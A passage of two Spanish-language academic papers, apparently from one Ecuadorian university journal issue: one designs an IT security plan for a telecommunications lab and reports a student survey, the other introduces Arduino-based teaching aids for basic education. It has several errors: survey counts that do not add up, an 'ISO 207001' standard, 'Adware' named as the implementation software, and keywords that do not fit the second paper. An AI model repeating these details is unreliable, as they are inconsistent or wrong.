laboratory in which the methods, and policies for the protection of resources and computer equipment that is available to the telecommunications laboratory of the Computer and Network Engineering Degree. Currently, the State University of the South of Manabí has at its disposal different technological equipment, therefore measures and contraventions are needed to ensure the availability of these resources at all times. The quantitative and qualitative methodologies were important resources to carry out this research and based on the data collected, tabulations were made allowing the discovery of the need and selecting the best option to solve it. This project maintains a schedule previously analyzed and complied with in the stipulated period in addition to having an economic resource of the author.

KEYWORDS: Availability, Security, Information Technology, Resources, Contraventions, Disposition.

INTRODUCCIÓN

El presente proyecto de investigación tiene como finalidad el diseño de un plan estratégico de seguridad informática para la protección de los recursos informáticos en el laboratorio de telecomunicaciones de la Carrera de Ingeniería en Computación y Redes, el desarrollo del mismo tiene como objetivo llevar una adecuada gestión de la seguridad de la respectiva información y evitar incidentes que puedan perjudicar la operación del laboratorio antes mencionado.

La seguridad informática hace referencia a la seguridad de la información, que se basa en principios básicos que son proteger la confidencialidad, integridad e incluso la disponibilidad de la información de una organización o institución.

Tal es el caso que para una buena seguridad de la información se debe proteger tres elementos principales, que son: la información, equipos y usuarios. Con respecto a la información, esta es la entidad más importante de la empresa o institución; en los equipos se debe proteger lo que es el hardware y software; y, en lo que concierne a los usuarios se refiere a las personas que hacen uso de la tecnología de la empresa.

Si bien es cierto, para dar inicio al diseño de un plan estratégico de seguridad, hay que tener presente lo siguiente ¿Qué es lo que se requiere proteger y con qué nivel de seguridad lo queremos hacer?, obviamente que la información será protegida con el mejor y más alto nivel de seguridad.

En la actualidad el laboratorio de telecomunicaciones de la Carrera de Ingeniería en Computación y Redes no cuenta con un plan estratégico de seguridad informática para la protección de los recursos informáticos en el laboratorio de telecomunicaciones y es aquí donde nace esta necesidad la cual es imprescindible del diseño del mismo para mantener la información con un alto grado de seguridad.

En los últimos tiempos las tecnologías de la información y comunicación TIC, han logrado un gran avance en el ámbito educativo, empresarial y comercial, por lo que se ha generado la necesidad de elaborar herramientas que sirvan de guía para hacer un uso correcto de dichas tecnologías.

Como expresa DELTA, (2016), en cuanto avanza la implementación de las TIC, las instituciones se han visto obligadas a diseñar métodos, estrategias y planes corporativos que permitan cumplir sus objetivos propuestos con el objetivo de mantener un acceso seguro a la infraestructura de un centro de cómputo moderno.

Los investigadores Pájaro & Vergara (2014), desarrollaron un “Plan estratégico informático para la unidad Administrativa de Cartagena”, con el propósito de tener una guía en proceso de soporte y apoyo en las áreas administrativas que garanticen las estrategias del plan misional de la institución para de esta forma disminuir las amenazas y debilidades que se puedan encontrar.

Por lo tanto, un plan estratégico es considerado como un instrumento de diagnóstico, análisis, reflexión y toma de decisiones al momento de ver el estado actual y futuro de la institución, para adecuarse a los cambios y a las demandas que impone el entorno y lograr la mayor eficiencia en las actividades que realiza.

Durante muchos años las instituciones se han encargado de mejorar poco a poco los sistemas de información, aplicando métodos o técnicas. Por lo que Soriano (2015), señala que la seguridad informática significa un conjunto de herramientas planteadas para proteger la información y los sistemas de información evitando el robo de datos durante su transmisión a través de la red.

En el artículo realizado por López, (2017), describe que la seguridad informática en los últimos años ha experimentado profundos cambios, en los años 90 solo se centraba en proteger los equipos, es decir, solo proporcionaba seguridad a los ordenadores y a los sistemas operativos, con el desenlace de internet comenzó a enfocarse a la conectividad de redes protegiendo las

aplicaciones informáticas y servidores con el fin, de evitar que los sistemas se infecten de virus o sean atacados por hacker o cracker.

En base a Molina & Sánchez, (2015), estudiantes de la Universidad Politécnica Salesiana Sede Guayaquil, en su investigación acerca de la seguridad informática indican que desafortunadamente es fácil el acceso a la información por personas no autorizadas, las cuales se dedican a realizar ataques informáticos con el objetivo de robar la información y cometer actos ilícitos.

Por ende, es obligación de cada institución garantizar los procesos realizados en los sistemas informáticos tanto en la manipulación física como lógica, para reducir los efectos de causa que pongan en riesgo la integridad parcial o total de la información, por lo cual se deben emplear planes estratégicos de seguridad informática enfocada a la infraestructura tecnológica.

Fayol, 2017 menciona que el objetivo principal de la seguridad es: "salvaguardar propiedades y personas contra el robo, fuego, inundación contrarrestar huelgas y traiciones por parte del personal, y de forma amplia todos los disturbios sociales que puedan poner en peligro el progreso e incluso la vida del negocio."

Existen varias normativas y estándares en cuanto se refiere a la gestión de la seguridad informática, como es, ISO 27001 que describe como se debe gestionar la implementación de controles entre los que se encuentran políticas, procedimientos, métodos y técnicas con el objetivo de garantizar la confidencialidad, integridad y disponibilidad en los sistemas de procesamiento de datos y en los datos utilizados por los usuarios de las instituciones.

Para la Universidad de Cuenca, la aplicación o uso de un plan estratégico en la actualidad se ha vuelto muy importante e indispensable debido a la gran necesidad de mejorar el desenvolvimiento de las acciones en las que incursionan las instituciones y organizaciones para adquirir el éxito. (León & Padilla, 2013).

De acuerdo a (Sinnexus, 2016) manifiesta que un plan estratégico es un programa constituido por un documento formal que rigen políticas, normas, procedimientos, donde se plasma la visión que una organización o una empresa pretende alcanzar a largo plazo obteniendo resultados positivos en un futuro. Por lo consiguiente las estrategias que presiden este plan son de vital importancia debido a que su función principal es organizar, dirigir, motivar y comunicar a las personas encargadas de ejecutar este documento.

Además, un plan estratégico ofrece el diseño y la construcción de la misión y visión que proyecta cumplir la organización mediante las acciones impuestas en dicho plan. Asimismo, es el conjunto de análisis, decisiones y acciones que se deben ejecutar en una organización para crear y mantener ventajas comparativas sostenibles a lo largo del tiempo.

El laboratorio de telecomunicaciones de la Carrera de Ingeniería en Computación y Redes cuenta con recursos informáticos que están a disposición de los estudiantes y los docentes quienes imparten sus clases. Todas estas tecnologías se mantienen en un uso constante por lo que se necesita monitorear periódicamente para prevenir que existan daños tanto en el hardware como el software.

Análisis del estado actual de los recursos informáticos

Todos los equipos que se encuentran en el laboratorio son los encargados de que los estudiantes realicen prácticas además de que permiten conectar las estaciones de trabajo a la red del laboratorio y de la universidad; desde los diferentes equipos se acceden a servicios internos y externos a la institución, por lo que en base al estudio del estado actual se obtiene como resultado de que cada equipo se encuentra expuesto a diferentes riesgos informáticos sin políticas adecuadas.

Las estaciones de trabajo son los equipos que hacen funcionar al laboratorio de telecomunicaciones, en estos se realizan las prácticas, los estudiantes tienen un acceso total por lo que se encuentran con mayores riesgos de infecciones o inseguridades informáticas.

Elaboración del plan estratégico

El plan estratégico se lo realiza con el fin de proteger los recursos informáticos frente a diferentes vulnerabilidades e intrusos no deseados para mejorar la situación informática y determinar las diferentes soluciones y medidas que se pueden llevar a cabo en caso de que ocurra alguna de estos ataques.

En este plan se propone establecer un esquema como plan de contingencia en caso de que existan algún tipo de ataque informático, en el que se establecerán medidas para el control de la información y protección de los recursos que se encuentren mayormente expuestos a ataques, fortaleciendo el nivel de seguridad y optimización del laboratorio de telecomunicaciones.

MATERIALES Y MÉTODOS

Para (Díaz, 2013) “El plan estratégico es un documento integrado en el plan de negocio que recoge la planificación a nivel económico-financiera, estratégica y organizativa con la que una empresa u organización cuenta para abordar sus objetivos y alcanzar su misión de futuro.”

De igual forma el desarrollo y ejecución de un Plan Estratégico está relacionado con la seguridad ya que tiene como finalidad establecer los procedimientos para llevar adelante la organización además avalar una correcta gestión de la seguridad de la información y mitigar los sucesos que podrían afectar las actividades de la misma.

Un plan estratégico en una institución sirve de apoyo en muchos aspectos relacionados con la eficiencia y capacidad para desarrollar las tareas y tomar medidas de precaución cuando ocurra un suceso inesperado, todos estos aspectos en concreto se basan en un objetivo que es el de asegurar y precautelar el bienestar de la empresa como de sus empleados.

Según (Pajaro & Vergara, 2014) un plan estratégico informático es una herramienta que sirve de guía para los usuarios que manipulan el sistema, además está compuesto por múltiples procedimientos, reglas y políticas integradas en un documento con el fin de satisfacer las necesidades de captación, registro y procesamiento de datos de un sistema.

Un plan estratégico informático beneficia a la unidad informática de una institución o empresa pública o privada, permitiendo mantener de manera seguir los activos informáticos basándose en un conjunto de políticas, normas y estándares destinados a evaluar y minimizar los riesgos que se puedan presentar en un futuro. La elaboración de dicho plan informático debe diseñarse de acuerdo a las características, actividades, funciones y acorde a la tecnología que maneje la institución.

Según ISOTools – Software de Gestión para la Excelencia Empresarial, (2015), la información es parte vital de toda organización por lo que se lo considera como la columna vertebral, por ello debe ser protegida ante cualquier amenaza aplicando normas o estándares de seguridad.

Como se mencionó anteriormente las revisiones sistemáticas según (Kitchenham et al., 2009), tienen tres etapas las cuales no son completamente secuenciales, se empieza el proceso con la etapa de planificación, en donde se debe desarrollar un protocolo de revisión sistemática en el que se especifica el contexto de la revisión, las preguntas de investigación, la estrategia de

búsqueda, criterios y procedimientos de selección y evaluación de los artículos, estrategias de extracción y síntesis de datos, y el cronograma del proyecto; luego en la ejecución de la revisión sistemática se lleva a cabo lo planificado y por último se realiza el informe o publicación de resultados.

Vieites, (2013) señala que la norma ISO/IEC 13335 está diseñada para el análisis de riesgos de la tecnología de la información y la comunicación, asimismo, se ocupa de la gestión de los aspectos de la planificación, implementación y operaciones de las TIC.

La metodología utilizada en este proyecto se basa en los métodos cualitativo y cuantitativo en el cual se recogieron y se analizaron datos para conocer una realidad que es el punto principal de esta investigación, además se utilizaron métodos inductivos y deductivos para obtener un análisis de la teoría previamente investigada.

RESULTADOS Y DISCUSIÓN

Los resultados del este proyecto de investigación comprendieron a 185 estudiantes del período académico noviembre 2017 – marzo 2018 de la Carrera de Ingeniería en Computación y Redes.

La siguiente encuesta estuvo dirigida a los estudiantes de la Carrera de Ingeniería en Computación y Redes del periodo académico noviembre 2017 – marzo 2018 con el objetivo de conocer la factibilidad y los niveles de aceptación para realizar este proyecto. Está conformada de un conjunto de preguntas realizadas y seleccionadas para identificar la problemática y obtener una solución.

- a. ¿Cree usted que el laboratorio de telecomunicaciones cuenta con normas y estándares de seguridad informática? Como resultado de la primera pregunta de la encuesta referente a si el laboratorio de telecomunicaciones cuenta con normas de seguridad, 102 que representan el 82% de la muestra, respondieron que no, demostrando así que no tienen conocimiento sobre la existencia de normas y estándares de seguridad en el laboratorio de telecomunicaciones, 23 estudiante encuestados que comprende el 18% de la muestra contestaron si conocen, pero demuestran dudas. Con esto se conoce que el desarrollo del plan estratégico de seguridad informática es necesario para proponer las normas y estándares que necesita el laboratorio.
- b. ¿Conoce usted sobre las normas y estándares para la seguridad informática que se aplican en un laboratorio de informática? Como resultado de la segunda pregunta de la encuesta referente sobre el conocimiento de normas y estándares se obtuvieron los

siguientes resultados, del total de la muestra el 21% que comprende a 26 estudiantes respondieron que, si conocen, el 77% indico que conocen muy poco las normas y estándares y el 2% indico que no. Por lo que se refleja claramente que existen dudas y que no están claras todos los puntos que se deben aplicar para la seguridad informática en el laboratorio de telecomunicaciones, por lo que el desarrollo de este proyecto permitirá reforzar los conocimientos referentes a la seguridad informática.

- c. ¿Considera usted que las medidas de seguridad informática que aplica el laboratorio de telecomunicaciones sean las correctas? Referente a si se considera correcto las medidas de seguridad informática que contiene el laboratorio de telecomunicaciones actualmente el 8% indico que sí, y el 92 % que comprende a 115 estudiantes contestaron que no. De ello, se sostiene que la mayoría de los encuestados están en desacuerdo con las normas que actualmente se aplican en el laboratorio de telecomunicación además de que se encuentran equipos nuevos que deben mantenerse seguros y aumentar la seguridad informática por lo que este proyecto se viabiliza hacia una necesidad latente que debe ser resuelta.
- d. ¿Usted como usuario que considera más importante proteger? Referente a lo que se debe proteger en el laboratorio de telecomunicaciones el 100% de los encuestados que comprende los 125 estudiantes indicaron que lo más importante que debemos resguardar en el laboratorio de telecomunicaciones es todo lo que comprende hardware y software. Entendiéndose así que el desarrollo del plan estratégico de seguridad informática reforzara la seguridad del laboratorio mediante la implementación de nuevas políticas y normas para la protección de la infraestructura e información.
- e. ¿Conoce usted si existe un plan de seguridad informática para la protección de recursos informático en el laboratorio de telecomunicaciones? Respecto a si existe un plan de seguridad informática para la protección de recursos informático en el laboratorio de telecomunicaciones se obtuvieron los siguientes resultados, 115 de los estudiantes encuestado que corresponden al 92% de la población, dijo que no conoce si existe un plan estratégico dentro del laboratorio de telecomunicaciones, el 8% dijo que sí, pero no tiene una idea clara de si existen tipos de seguridad informática. Exponiendo así que el plan estratégico de seguridad informática permitirá implementar nuevas seguridades, y mejorar la administración de los equipos informáticos.
- f. ¿Cree usted que los recursos informáticos dentro del laboratorio de telecomunicaciones necesitan un plan estratégico de seguridad informática? Como podemos observar en el grafico referente a si los recursos informáticos necesitan un plan de seguridad, el 100%

de la población encuestada que corresponde a los 125 estudiantes encuestados respondieron que si es necesario. Deduciendo así que el laboratorio de telecomunicaciones no cuenta con un plan estratégico de seguridad informática por lo que este proyecto se viabiliza como factible.

- g. ¿Considera usted necesario implementar un plan estratégico de seguridad informática para la protección de los recursos informáticos en el laboratorio de telecomunicaciones de la Carrera de Ingeniería en Computación y Redes? Como podemos observar en el gráfico, los resultados de esta pregunta indican que los 125 estudiantes que comprende el 100% de la población encuestada respondieron que si es necesaria la implementación de un plan estratégico de seguridad informática en el laboratorio de telecomunicaciones por lo que este no cuenta con uno y los equipos deben tener este tipo de planes para asegurar su disponibilidad.

CONCLUSIÓN.

Una vez finalizado el proyecto se concluye con lo siguiente:

- Que el laboratorio de telecomunicaciones al no contar con medidas y políticas de seguridad necesita la implementación de un plan estratégico de seguridad informática que permita proteger cada recurso informático y asegurar la integridad de cada equipo para aportar a la calidad de las prácticas y la continuidad del laboratorio de telecomunicaciones.
- Se realizó el inventario de los recursos informáticos con los que cuenta actualmente el laboratorio de telecomunicaciones en el que se describieron puntos importantes como sus características y detalles técnicos para la elaboración del plan estratégico.
- Se identificó el estado actual de los recursos informáticos mediante un estudio de funcionamiento de cada equipo en el que se concluyó que los recursos informáticos no contaban con un plan estratégico de seguridad informática.
- Se elaboró el plan estratégico de seguridad informática para la protección de los recursos informáticos del laboratorio de telecomunicaciones de manera correcta y detallada en base a la norma ISO 207001:2013, el cual se implementó en conjunto con el software libre Adware.

REFERENCIAS BIBLIOGRÁFICAS

Barrera, C. R. (2014). Metodologías Para el análisis de riesgos en los sgsi. Tunja, Boyacá, Colombia: Fundación Universitaria Juan de Castellanos.

Bautista, A. (2013). Aplicación de estándares de protección de la información. Lima.

CGA. (05 de Octubre de 2016). Definición de Periférico. Obtenido de <http://www.juntadeandalucia.es/educacion/cga/>

Cienfuegos, S. (2016). Metodologías de apreciación del riesgo: ¿qué método elegir?

Contreras, V. M. (2016). Plan estratégico para la gestión del sistema de información de geolocalización inko de la empresa cootranshacaritama ocaña, basado en la norma iso/iec 27001/2013. Colombia: Universidad Francisco de Paula Santender Ocaña.

Cruz, C. (06 de Diciembre de 2014). Metodologías Coras para el análisis de riesgos.

DELTA. (2016). Planeación Estratégica de Tecnología Informática. Argentina: DeltaAsesores.

Ferrer, R. (2016). Metodología de análisis de riesgo. Bogota - Colombia: SISTESEG.

García, L. C. (2014). ESTANDARES INTERNACIONALES DE SEGURIDAD INFORMÁTICA. España: BlopInformation.

Gómez, R., Pérez, D. H., & Donoso, Y. (2013). Metodología y gobierno de la gestión de riesgos de tecnologías de la información. SCielo, 112.

Guarniz, E. H. (2017). Características y proceso de la planeación estratégica. Lima: Universidad Privada del Norte.

Gutiérrez, J. D., & Zuccardi, G. (2015). Seguridad Informática. México: ISO-27001. Guzman, D. F. (2014). Metodologías para el análisis de riesgos. España: POT. Herrera, C. C. (2013). Conceptos gerencia y gestion. Lima: Publicaciones SCielo.

Leal, M. (2015). Principios de la seguridad informática. wordpress.com.

Lema, J. (2016). Evaluacion de riesgos en seguridad informática. Lima: Publicaciones scrib.

León, M. F., & Padilla, E. S. (2013). Elaboración de un plan estratégico para la empresa

Manrique, B. (2016). Fases de un plan estratégico. Unipamplona.

Mogollón, A. (2015). Análisis Comparativo: Metodologías de análisis de Riesgos.

Universidad Centroccidental "Lisandro Alvarado".

Molina, K. G., & Sánchez, E. R. (2015). Análisis en seguridad informática y seguridad de la información basado en la norma ISO/IEC 27001. Guayaquil: Universidad Politécnica Salesiana.

Padrón, L. (2013). Modelos de Gerencia Estratégica. Venezuela: Universidad Nacional Abierta.

Pajaro, C. P., & Vergara, D. R. (2014). Plan estratégico informático - tecnologías de la información y las comunicaciones. Colombia: Universidad de Cartagena.

Pinto, M. H. (2016). Diseño de un Plan Estratégico de Seguridad de Información en una empresa del sector comercial. Obtenido de Escuela Superior Politécnica del Litoral: <https://www.dspace.espol.edu.ec/retrieve/94448/D-71165.pdf>

Plúa, H. (2017). Diseño de un plan estratégico de seguridad informática aplicada a la red de telecomunicación de datos del Gobierno Autónomo Descentralizado del Cantón Jipijapa. Jipijapa - Ecuador: Universidad Estatal del Sur de Manabí.

Ponce, C. (2013). Manual de seguridad informática básica. Colombia: Gobierno del

Ruiz, J. J., & Cuchimba, M. C. (2014). Análisis de Riesgos de la Seguridad de la

Información para la Institución. Universitaria Colegio Mayor Del Cauca. Sánchez, M. (2013). Aspectos generales de seguridad informática. Ecuador: UTC.

Segovia, A. J. (2017). ¿Cómo funciona la ISO 27001? Obtenido de 27001Academy - Advisera.com: <https://advisera.com/27001academy/es/que-es-iso-27001/>

Software de Gestión para la Excelencia Empresarial. (2015). Sistemas de gestión normalizados - Norma ISO 27001. Chile: ISOTools.

Soriano, M. (2015). Seguridad en redes y seguridad de la información. España: IMPROVET.

UNIVERSA. (2016). Informática. Obtenido de Ingeniería, Tecnología, Industria, Arquitectura y Construcción : <http://www.universia.es/estudios/informatica/dp/702>

Vásquez, K. d. (2013). Aplicación de la metodología Magerit para el análisis y gestión de riesgos. Machala: Universidad Politécnica Salesiana.

Veiga, J. M. (2016). Análisis de riesgo de seguridad de la información. Madrid: Universidad Politécnica de Madrid.

Yañez, C. (2017). Seguridad informática - Tipos de seguridad informática. España: CEAC - Planeta Formación y Universidades.

APLICACIÓN DE LAS TICS A TRAVÉS DE DISPOSITIVOS TECNOLÓGICOS DIDÁCTICOS EN EL PROCESO DE ENSEÑANZA APRENDIZAJE EN LA EDUCACIÓN BÁSICA

Ing. Marco Antonio Toala Pilay

Ing. Rosario Magdalena Romero Castro

Ing. Vicente Fray Romero Castro

Ec. Carmen Lelys Romero Castro

Tania Germania Castro Mendoza

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

(toala.marco@unesum.edu.ec)

(rosario.romero@unesum.edu.ec)

(vicente.romero@unesum.edu.ec)

(carmen.romero@unesum.edu.ec)

(tania02-1993@hotmail.com)

RESUMEN

La presente investigación está basada en la aplicación de las TICs a través de dispositivos tecnológicos didácticos para el fortalecimiento del proceso de enseñanza-aprendizaje en la educación básica, específicamente para la Unidad Educativa Fiscal Jipijapa”, se lo realizó con el propósito de mejorar los procesos de enseñanza y aprendizaje dentro de la institución nombrada. El fundamento primordial de la investigación fue implementar una aplicación a través de dispositivos tecnológicos con plataforma arduino, para ello se llevó a cabo un diagnóstico de campo para obtener información para finalmente proceder a desarrollar el proyecto. La metodología utilizada se basó en la inducción, el análisis del problema, el uso del método descriptivo, el método bibliográfico que se aplicó para la consecución del fundamento teórico y el método propositivo que sirvió como vinculo para la implementación de la propuesta. El presente proyecto de investigación fue implementar una herramienta tecnológica interactiva y fácil de interacción física y digital con el fin de mejorar el aprendizaje de los estudiantes fortaleciendo las prácticas dentro del laboratorio de electricidad de la Unidad Educativa Fiscal Jipijapa.

PALABRAS CLAVES: Gestión de procesos de negocios, Seguridad en procesos de negocios, Seguridad en flujos de trabajo.

ABSTRACT

The present investigation is based on the application of ICTs through didactic technological devices for the strengthening of the teaching-learning process in basic education, specifically for the Jipijapa Fiscal Educational Unit”, was carried out with the purpose of improving the processes of teaching and learning within the named institution. The main rationale for the research was to implement an application through technological devices with an arduino platform, for which a field diagnosis was carried out to obtain information to finally proceed to develop the project. The methodology used was based on the induction, the analysis of the problem, the use of the descriptive method, the bibliographic method that was applied for the achievement of the theoretical basis and the propositive method that served as a link for the implementation of the proposal. The present research project was to implement an interactive and easy technological tool for physical and digital interaction in order to improve student learning by strengthening practices within the electricity laboratory of the Jipijapa Fiscal Education Unit.

KEYWORDS: Business process management, Business process security, Workflow security.

INTRODUCCIÓN

Las TIC's son muy importantes en la actualidad ya que gracias a ellas estamos en contacto y comunicación con muchas otras personas de cualquier lugar del mundo. La tecnología es dual por naturaleza ya que el impacto de estas se verá afectado dependiendo del uso que le den las personas. Además, están transformando la sociedad y en particular los procesos educativos para responder a estos desafíos que demandan cambios en los sistemas educativos y promueven experiencias innovadoras en los procesos de enseñanza - aprendizaje.

En la actualidad la Unidad Educativa Fiscal Jipijapa tiene un personal de docente que se rigen a los procesos de enseñanza tradicionales con el cual utilizan material físico y texto para el desarrollo de las capacidades del estudiante, pero cabe recalcar que existe una manera más específica para mejorar estos aspectos con el uso de la tecnología es importante hacer conciencia en los docentes e incentivar la manera en que imparten sus clases con la inclusión de las TIC's permitiendo desarrollar la calidad educativa.

Resulta conveniente la incorporación de tecnologías interactiva utilizando plataforma arduino de tal forma permitir ampliar los conocimientos de los estudiantes mediante la ejecución de práctica de laboratorio permitiendo construir un extenso portafolio de innovadoras aplicaciones, ayudando a mejorar los procesos de enseñanza-aprendizaje de los estudiantes.

Este trabajo de investigación ha permitido conocer las formas adecuadas más importantes para incluir el uso de la tecnología en la enseñanza – aprendizaje, como aporte al desarrollo profesional y académico de los estudiantes universitarios.

El presente proyecto de investigación está dirigido al laboratorio de electricidad de la Unidad Educativa Fiscal Jipijapa de esta forma se contribuye a que exista una herramienta más de trabajo donde los estudiantes ejecuten diferentes tipos de práctica con herramientas arduino.

Con el avances de las tecnologías en la actualidad se hace un énfasis en el uso de los sistemas educativos para mejorar los procesos de enseñanza aprendizaje, por eso en la mayoría de instituciones educativas del milenio y replicas ya establecida en nuestro país hacen utilización de las TIC's como los dispositivo tecnológico didáctico para fortalecer los proceso educativo, la cual permite interactuar con los alumnos de una manera dinámica despertando el interés en los alumnos al hacer uso de las nuevas herramientas electrónicas.

Cantón, (2016) Analizó que “las tecnología de información y comunicación en la educación a través de los recursos tecnológicos en los centros educativos pone en funcionamiento una serie de prácticas enfocada a la orientación, a la integración de aplicaciones efectiva de la tecnología dentro de los procesos educativos”.

Carnoy, (2014) Expresó que “el uso de la tecnología de información y comunicaciones se han desarrollado enormemente en diferentes campos en los negocios, en las aplicaciones cotidianas y en los medios sociales, y el papel de la educación formal en la producción de conocimiento de las TIC's en el alza del rendimiento estudiantil”.

Severin, (2014) Indicó que “los usos de las tecnologías dentro de la educación requieren que los docentes mantengan una actitud positiva hacia estas actividades, al mismo tiempo que sean capaces de desarrollarlas en los contextos educativos, con la aplicación de dispositivos tecnológicos didáctico donde se han convertido en un pilar fundamental en la sociedad educativa”.

López, (2012) Determinó que “las tecnologías de información y comunicación influyen positivamente en el rendimiento educativo de los estudiantes, y en los docentes facilitando un estilo más personalizado y flexible, para desarrollar un ambiente más participativo y mejorar el rendimiento del alumno”.

Castro & Borja & Venegas, (2014) Indicaron que “las TIC’s se han transformado en un instrumento muy útil en el ámbito educacional. Por ende, es importante que el profesor sea una pauta para la enseñanza del alumno creando nuevos entornos interactivos que permita compartir habilidades y destrezas generando un aprendizaje significativo”.

Villa, (2012) Detalló que “la sociedad se ha caracterizado a través del cambio que día a día vivimos la cual forma parte de nuestra vida cotidiana, cambiando nuestra manera de relacionarnos de comunicarnos, de trabajar, con los cambios de las últimas décadas nos dirigimos principalmente a una imparable expansión de los nuevos dispositivos tecnológicos didácticos en la sociedad”.

María, & Martínez & Hiracheta, (2013) Analizaron que “los procesos de educación se vuelven cada vez más competitivo, gracias a las TIC’s donde se han desarrollado un sinnúmero de aplicaciones en muchos campos permitiendo que un sistema opere automáticamente y sea controlado a través de un dispositivo tecnológico didáctico”.

Pereira, (2016) Indicó que “las tecnologías son adaptadas a los nuevos paradigmas educativos, una herramienta clave para ser airoso en un mundo cada vez más competitivo que nos enfrentamos día a día con una sociedad innovadora nuevos recursos que cada vez hace más fácil los procesos tecnológicos ”.

Unesco, (1984) Expresó que “las tecnologías educativas básicamente han sido creadas para el uso de fines educativos de los medios nativos de la revolución de las comunicaciones como son los medios audiovisuales televisión, ordenadores y otro tipo de hardware y software caracterizándose por su constante innovación”.

Víctor, & Aníbal, (2013) Analizaron que “los dispositivos tecnológicos inteligentes como son los Smartphone, dispositivos que pese a incorporar una variedad de funciones adicionales y aplicaciones complementarias, son valorados por una considerable sociedad, como un teléfono transportable”.

Bautista, G, (2014) Indicó que “con las tecnologías actuales se están creando nuevas demandas para los docentes en las instituciones generando nuevas estrategias en el aprendizaje, esto no hubiera sido posible si no se emplearan los dispositivos tecnológicos didácticos donde cada vez se están innovando nuevos entornos educativos en las instituciones creando nuevas herramientas de enseñanza con materiales didácticos”.

Hernández, (2017) Estableció que “actualmente estamos en una serie de cambios con las tecnologías educativas, y los recursos digitales se hace una tarea posible y fácil, pero para otro puede representar algo verdaderamente complicado, los espacios de aprendizaje guardan muchas veces una pelea subjetiva entre profesores y dispositivos tecnológicos”.

Cabero, (2016) Expresó que “los procesos educativos son una de las disciplinas de la ciencia de la educación que más ha evolucionado en el terreno educativo por lo tanto es importante que el profesor o facilitador estén en constante capacitación de las nuevas tecnologías para ofrecer un escenario de enseñanza a los educados”.

Calero, (2017) Indicó que “el proceso de enseñanza-aprendizaje escolarizado es muy complejo e inciden en su desarrollo una serie de componentes que deben interrelacionarse para que los resultados sean óptimos, gracias a los avances científicos hoy en día es posible lograr la optimización dentro de los procesos educativos”.

Barcia, Menéndez, & Carvajal, (2015) Manifestaron que “la enseñanza y aprendizaje en el ámbito universitario se ha incrementado en los últimos años de modo significativo a consecuencia de la evaluación y acreditación de las universidades en el Ecuador, con este enfoque se extiende la necesidad de una transformación metodológica que determinen verdaderos aprendizajes significativos”.

César, Byron, & Mariana, (2016) Analizaron que “los métodos de enseñanza utilizados por los docentes en las instituciones son herramientas adecuadas para ofrecer un mejor aprendizaje a sus estudiantes, y mantener una buena autoestima a la hora de desarrollar sus capacidades destrezas dentro del aula de clase”.

“Las nuevas tecnologías aportan sinnúmero de aplicaciones Requena, (2012) Detalló que “el aprendizaje escolar se han desarrollado nuevos modelos de herramientas para el proceso de enseñanza, como son las redes sociales que pueden funcionar como un aula después del salón

de clases, un espacio virtual donde los alumnos, y el docente tengan un contacto constante sin límite espaciales ni de tiempo”.

Fernández, & Duarte, (2014) Indicaron que “el aprendizaje es un proceso de comunicación, como una actividad interpersonal que además sus componentes verbal, incluyen medios didácticos interactivos como prototipos software entre otros, con la utilización de estos materiales despierta la motivación en los estudiante de aprender, permitiendo un aprendizaje libre e interactivo”.

Anita & Román, (2014) Afirmaron que “las enseñanza es un recurso utilizado para los educadores para lograr un aprendizajes significativos en los estudiantes, con el empleo de diversas estrategias permiten a los docentes lograr un proceso de aprendizaje activo, participativo, o de cooperación, permiten hacen posible el aprendizaje que de otra manera es imposible de lograr”.

Rivera J, (2015) Expresó que “el proceso de enseñanza aprendizaje en la Robótica está constituida por una serie de pasos, junto a una lluvia de ideas en el aula de clases creadas para facilitar el uso de la electrónica en proyectos que consienten desarrollar prototipo de hardware dentro del contexto social aplicados a la enseñanza mediante la electrónica”.

Cabero, (1996) Detalló que “mediante las TIC’s en la educación cumplen un papel importante como un conjunto de herramientas pedagógicas, de dispositivo como son las herramientas software y hardware, y canales de comunicación relacionados con el almacenamiento, procesamiento y transmisión digitalizados de la información”.

Cavazos, (2015) Indicó que “las tendencias mundiales en la educación se incorporar a los nuevos procesos de enseñanza-aprendizaje, integrando estrategias metodológicas para el uso frecuente de recursos, servicio y aplicaciones de plataforma que en la actualidad deben asumir una perspectiva mucho más activa”

El e-learning es una disciplina que ha surgido de las posibilidades de generar condiciones para el aprendizaje (Sánchez & Izquierdo, 2013) Indicaron que “en cualquier lugar y en cualquier momento a través de los dispositivos móviles podemos estar interconectados debido a su flexibilidad, interactividad, portabilidad, y conectividad”.

Alfred, (2014) Consideró que “los docentes deben estar en constante capacitación de los nuevos métodos de enseñanza actuales, de esta forma lograr el mejoramiento del aprendizaje en los estudiantes para ofrecer una enseñanza clara y precisa con una mejor intervención en la comunicación que permite potencializar el ámbito académico”.

Ortega, (2015) Indicó que “la actualidad los sistemas de educación tienen un desafío que cumplir al momento de utilizar las tecnologías de información para llegar a facilitar a los estudiantes una alternativa diferente de aprender con un entorno muchos más fácil y dinámico, para que desarrollen sus actividades y destrezas”.

Duffy, (1992) Analizó que “el aprendizaje constructivo tiene un papel principal y activo en la construcción de nuevos conocimientos, no simplemente se toma y almacena nueva información, sino que se interpreta, y se procesan y son sometido a prueba hasta lograr una estructura mental satisfactoria”.

Calderón, (2016) Determinó que “con la evolución de las tecnologías se permite tener un entorno dinámico, que contribuye a la enseñanza-aprendizaje entre ellos tenemos los micro controladores permitiendo que el estudiante no limite sus experiencias de aprendizaje ya que hoy en día no solo se pueden tener en la institución si no que se encuentran en todos los campos”.

Laureano, (2015) Consideró que “las aulas virtuales como medio de enseñanza resulta eficiente auxiliar para el docente en la preparación e impartición de las clases ya que se contribuye a una mayor ganancia metodológica y una racionalización de actividades del educador y el alumno”.

Ibáñez, (2014) Expresó que “con la integración de las TIC’s en los colegios se ha convertido en un reto para los docentes y estudiantes para que se preocupen por ser más competitivo en el uso pedagógico y técnico, ya que es de mucha importancia que los alumnos al momento de realizar sus actividades estén apoyado a través del educador”.

Salinas, (2016) Analizó que “Ecuador formalmente se apoya en incorporar las TIC’s a la gestión pública y a los sistemas educativos mediante libros blanco de la colectividad de la información, como una herramienta que recoge los proyectos de diversas sesiones del estado y que puede formar el marco de la política de TIC’s para los contiguos años”.

MATERIALES Y MÉTODOS

Guerrero, (2015) Analizó que “la enseñanza es el proceso mediante el cual se comunica o se trasfiere conocimiento especiales o generales sobre una materia la enseñanza es un método significativo y debe impartir con mucha paciencia para que la persona esté recibiendo este método, pueda captarlo y sea útil en su vida cotidiana”.

